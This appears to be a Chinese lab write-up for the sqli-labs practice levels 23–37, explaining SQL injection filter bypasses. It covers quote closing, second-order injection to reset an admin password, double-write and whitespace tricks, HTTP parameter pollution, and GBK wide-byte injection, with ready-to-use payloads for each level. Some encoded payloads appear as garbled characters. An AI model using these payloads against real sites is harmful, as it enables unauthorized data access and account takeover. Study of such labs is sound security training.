less-23
过滤了注释符#,--
但这里可以选用闭合的方式进行注入?id=-1' union select 1,database(),'3
1、id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select 语句。只有一个数据可以输出,为了让我们构造的数据可以正常输出 ,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。
2、-1' union select 1,database(),'3
第一个'
闭合-1,第二个'
闭合后面的。这样查询内容显示在username处。此时的sql语句为SELECT * FROM users WHERE id='-1' union select 1,database(),'3' LIMIT 0,1
less-24
一个二次注入的场景
二次注入也称为存储型注入,就是将可能导致sql注入的字符先存入数据库中,当再次调用这个恶意构造的字符时,就可以触发Sql注入。
代码分析
- index.php
主要记录表单相关信息,主要是前端代码
输入正常的用户名和密码即可登录成功
Forgot your password?:IF YOU FORGOT YOUR PASSWORD, GO HACK IT
New User click here?:新建一个新用户
- failed.php
检测会话,如果cookie里面没有Auth参数的话,就跳转到index.php
- forgot_password.php
一个提示IF YOU FORGOT YOUR PASSWORD, GO HACK IT
- logged-in.php
登录后的信息展示,显示登录名称并且提供修改密码表单
- new_user.php
创建新用户的表单界面,主要是前端代码
- login_create.php
创建新用户的后端代码,来捋一捋
- login.php
- pass_change.php
思路
整个代码分析下来也就修改密码这一part没有被过滤了,这里就需要用到二次注入。
如果创建一个admin'#
的用户,再对其进行密码修改,那么直接拼接就会使得sql语句为UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
,这样就变成了修改admin用户的密码了。
步骤演示
首先注册一个admin'#
开头的用户名,
注册完成后数据库记录如下
成功添加了记录,这里的单引号在数据库中看没有被转义,这是因为转义是暂时的,最后存入到数据库的时候还是没变的。
接下来登录admin'#rabbit
用户,修改密码
可以发现,成功修改了admin
用户的密码
less-25
过滤了or和and,如何绕过 or 和 and的过滤,一般提供以下几种思路:
- 大小写变形 Or,OR,oR
- 编码,hex, urlencode
- 添加注释/or/
- 利用符号 and=&& or=||
- 双写绕过,oorr, aandnd
这一关可以采用双写绕过或者符号替换?id=1' oorr extractvalue(1,concat(0x7e,database()))--+
?id=1' ||extractvalue(1,concat(0x7e,database()))--+
less-25a
同,less-25一样,只是拼接方式变了而已,并且没有报错信息输出,无法进行报错注入
less-26
过滤了or,and
可以通过双写或者符号代替绕过
过滤了/*,--,#
注释符可以使用闭合绕过
过滤了空格可以使用以下符号替代
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格 |
请在linux平台下进行,windows下无法使用一些特殊的字符代替空格
less-26a
less-27
过滤规则增加了许多,但是由于union,select没有忽略大小写,导致写了很多冗杂的规则,但还是可以轻易绕过
- 大小写绕过:uNion,seLect 等
- 双写绕过:ununion,seselectlect 等
payload:?id=100'%a0ununionion%a0seLect%a01,database(),'3
less-27a
过滤规则一样,只是拼接方式发生了变化,又因为没有报错输出,所以少了报错注入的方式,其他都一样。
less-28
这过滤规则看着有点蠢,先是过滤了空格然后过滤union select
,大小写敏感,(有个锤子用,搞得好像我走到你这还能有空格似的),当然话说回来,这样的过滤规则怎么绕过,双写绕过,或者把空格用其他符号代替绕过。
payload:?id=100')%a0union%a0select%a01,database(),('3
less-28a
这一关的过滤规则只剩下一条$id= preg_replace('/union\s+select/i',"", $id);
payload:?id=-1') union%a0select 1,database(),('3
服务器(两层)架构
服务器端有两个部分:第一部分为tomcat为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
- 对于
index.php?id=1&id=2
这么一个url,apache(php) 解析最后一个参数,即显示 id=2 的内容。Tomcat(jsp)解析第一个参数,即显示 id=1 的内容。
以上图片为大多数服务器对于参数解析的介绍。
对于
index.php?id=1&id=2
的请求,客户端请求首先过tomcat,tomcat解析第一个参数,接下来tomcat去请求apache(php)服务器,apache解析最后一个参数,最终返回客户端的应该是id=2的内容。因为实际上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做呢?是因为我们往往会在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁。
less-29
这一关跟天书里面的环境不太一样,通过java_implimentation
函数模拟了tomcat的查询函数。先看代码
- index.php
单引号闭合注入,没什么好看的
- login.php ```php $qs = $_SERVER[‘QUERY_STRING’]; // 查询 query 的字符串 $hint=$qs; // 模拟 tomcat 的查询函数处理一下 $id1=java_implimentation($qs); $id=$_GET[‘id’]; //echo $id1; // 过滤检测 whitelist($id1);
$sql=”SELECT * FROM users WHERE id=’$id’ LIMIT 0,1”;
function whitelist($input)
{
// 过滤规则 检测数字
$match = preg_match(“/^\d+$/“, $input);
if($match)
{
//echo “you are good”;
//return $match;
}
else
{
header(‘Location: hacked.php’);
//echo “you are bad”;
}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution). function java_implimentation($query_string) { $q_s = $query_string; // & 作为分隔符 分割字符串 $qs_array= explode(“&”,$q_s);
// 遍历 qs_array 数组
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
// 如果数组前两位是 id 的话
if($val=="id")
{
// 截取 $value 的3-30的字符串 作为id 的值
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
`whitelist`已经过滤得比较严格了,如果不是数字的话就会直接被重定向到hacked.php,这里是没毛病的,主要问题出现在`$id1=java_implimentation($qs);`<br />因为return 表示 函数的结束 行,所以这个函数捕捉到 id 的时候就会`return $id_value`这样就导致了用户加入两组 id 的话,那么后面的id就会绕过id的检测。<br />假设有这样的语句`index.php/?id=1&id=2`<br />Apache PHP会解析最后一个参数<br />Tomcat JSP会解析第一个参数<br />payload:`?id=1&id=-1' union select 1,database(),2--+`
<a name="VhQKo"></a>
## less-30
跟less-29相比就是拼接方式发生了变化 ,其它没变
<a name="d85oK"></a>
## less-31
同样只是拼接方式变了
<a name="x5qlf"></a>
## 宽字节注入
原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如`%aa%5c`就是一个汉字(前一个ascii码大于128才能到汉字范围)。我们在过滤`'`的时候,往往利用的思路就是将`'`转换为`\'`,因此我们在此想办法将`'`前面的`\`除掉,一般有两种思路:
- 1、`%df`吃掉`\`:具体的原理是`urlencode(\')=%5c%27`,我们在前面添加`%df`,形成`%df%5c%27`,而上面提到的mysql 在GBK编码方式的时候会将两个字节当做一个汉字,此时,`%df%5c`就是一个汉字,`%27`就做为一个单独的符号在外面,同时也达到了我们的目的。
- 2、将`\'`中的`\`过滤掉,例如可以构造`%**%5c%5c%27`的情况,后面的`%5c`会被前面的`%5c`给注释掉。
<a name="ue8Nf"></a>
## less-32
`bypass addslashes`,关键的防护代码如下:
```php
function check_addslashes($string)
{
// 将\转换为\\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
// 将'转换为\'
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
// 将"转换为\"
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
',",\
都被加了转换,利用%df
宽字节注入来吃掉反斜杠,
payload:?id=-1%df' union select 1,database(),2--+
less-33
拼接方式一样,过滤方式有点变化
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
这里用到的函数是addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
预定义字符 | 转义后 |
---|---|
\ | \\ |
‘ | \‘ |
“ | \“ |
- 该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。这个函数其实跟less-32实现的函数功能是一差不多的,依旧可以使用宽字节绕过
- 注入天书:使用addslashes(),我们需要将mysql_query设置为binary的方式,才能防御此漏洞。
payload:?id=-1%df' union select 1,database(),2--+
less-34
过滤方法跟less-33一样,请求方式由GET变成了POST。
GET型的方式我们是以 url 形式提交的,因此数据会通过 URLencode,同样的方法放到 POTS 就不管用了;那如何将方法用在 POST 型的注入当中,天书中提到一种新的方法。
将 UTF-8 转换为 UTF-16 或 UTF-32,例如将'
转为�
。
我们就可以利用这个方式进行尝试。可以使用 linux 自带的 iconv 命令进行 UTF 的编码转换:
$ echo \' | iconv -f UTF-8 -t UTF-16
��'
$ echo \' | iconv -f UTF-8 -t UTF-32
��'
payload:uname=1�' union select 1,database()#&passwd=2
less-35
这一关也有点搞笑,先是对 id 进行了 addslashed
过滤
但是本关的拼接方式是这样的
实际注入不需要用到引号。
payload:?id=-1 union select 1,database(),3--+
less-36
对 id 进行mysql_real_escape_string
函数过滤mysql_real_escape_string
函数转义 SQL 语句中使用的字符串中的特殊字符。
受影响字符:
受影响字符 |
---|
\ |
‘ |
“ |
\x1a |
\x00 |
\r |
\n |
可以有两种绕过方式?id=-1�' union select 1,database(),3--+
或者?id=-1%df' union select 1,database(),3--+
less-37
同上,只不过请求方式变成了POST,%df
的方法用不了了
pyaload:uname=1�' union select 1,database()#&passwd=2